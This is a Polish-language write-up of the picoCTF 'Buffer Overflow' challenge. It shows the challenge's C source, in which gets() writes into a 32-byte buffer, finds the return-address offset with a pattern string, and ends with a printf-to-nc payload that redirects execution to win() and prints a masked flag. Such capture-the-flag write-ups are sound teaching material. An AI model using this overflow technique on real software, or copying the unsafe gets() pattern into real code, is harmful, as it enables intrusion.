W tym poście chciałbym opisać rozwiązania zadania Buffer Overflow z picoCTF.
Działanie programu jest następujące:
- -picoctf@webshell:~$ nc saturn.picoctf.net <port>
- Please enter your string:
- testiunout
- Okay, time to return... Fingers Crossed... Jumping to 0x804932f
Jak można zaobserwować powyżej po wpisaniu danych wejściowych wyświetlany jest jakiś adres.
Przejdę teraz do kodu dostarczonego razem a zadaniem.
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/types.h>
- #include "asm.h"
- #define BUFSIZE 32
- #define FLAGSIZE 64
- void win() {
- char buf[FLAGSIZE];
- FILE *f = fopen("flag.txt","r");
- if (f == NULL) {
- printf("%s %s", "Please create 'flag.txt' in this directory with your",
- "own debugging flag.\n");
- exit(0);
- }
- fgets(buf,FLAGSIZE,f);
- printf(buf);
- }
- void vuln(){
- char buf[BUFSIZE];
- gets(buf);
- printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
- }
- int main(int argc, char **argv){
- setvbuf(stdout, NULL, _IONBF, 0);
- gid_t gid = getegid();
- setresgid(gid, gid, gid);
- puts("Please enter your string: ");
- vuln();
- return 0;
- }
Odebranie wpisanego tekstu, następuje w funkcji vuln(). Dane są odbierane przez funckję gets, która wprowadza dane do bufora 32 elementowego. Jeśli przekroczymy ten buffor o odpowiednio dużo ilość znaków. Dzięki niemu będzie można wywołać funkcję win(). Ale żeby to zrobić to potrzebny jest adres funkcji win(). Można go odczytać wykorzystując np. program Cutter:
Po określeniu adresu należy określić offset jaki musi poprzedzić adres funckji win w celu jej wywołania.
Na samym początku wprowadzę taki zestaw znaków:
- abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
Wygenerowana odpowiedź:
- -picoctf@webshell:~$ nc saturn.picoctf.net 53923
- Please enter your string:
- abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
- Okay, time to return... Fingers Crossed... Jumping to 0x56555453
Czyli otrzymana odpowiedź różni się od wcześniejszej, gdy buffor był nie przepełniony. Wartość 0x56555453 odpowieada części wprowadzonych znaków w stringu. W celu konwersji należy wykorzystać tablice ASCII.
0x56 - V
0x55 - U
0x54 - T
0x53 - S
Oznacza to, że należy offset przed adresem musi być następujący:
- abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR
Dodatkowo należy zwrócić uwagę, że kolejność bajtów jest odwrócona czyli adres wprowadzony do stringa musi być od F6910408. Cały string ma następujący format:
- abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR\xf6\x91\x04\x08
W celu wprowadzenia ciągu w odpowiednim formacie należy zastosować następujące sposób wprowadzenia danych:
- -picoctf@webshell:~$ printf "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQR\xf6\x91\x04\x08\n" | nc saturn.picoctf.net 63832
- Please enter your string:
- Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
- picoCTF{xxxxxxxxx_xxx_xxxx_xxxxxxxx}
- -picoctf@webshell:~$
Bezpośrednie wpisanie danych w aplikacji nie przyniesie rezultatów, ponieważ dane nie będą rozpatrywane w odpowiedniej formie.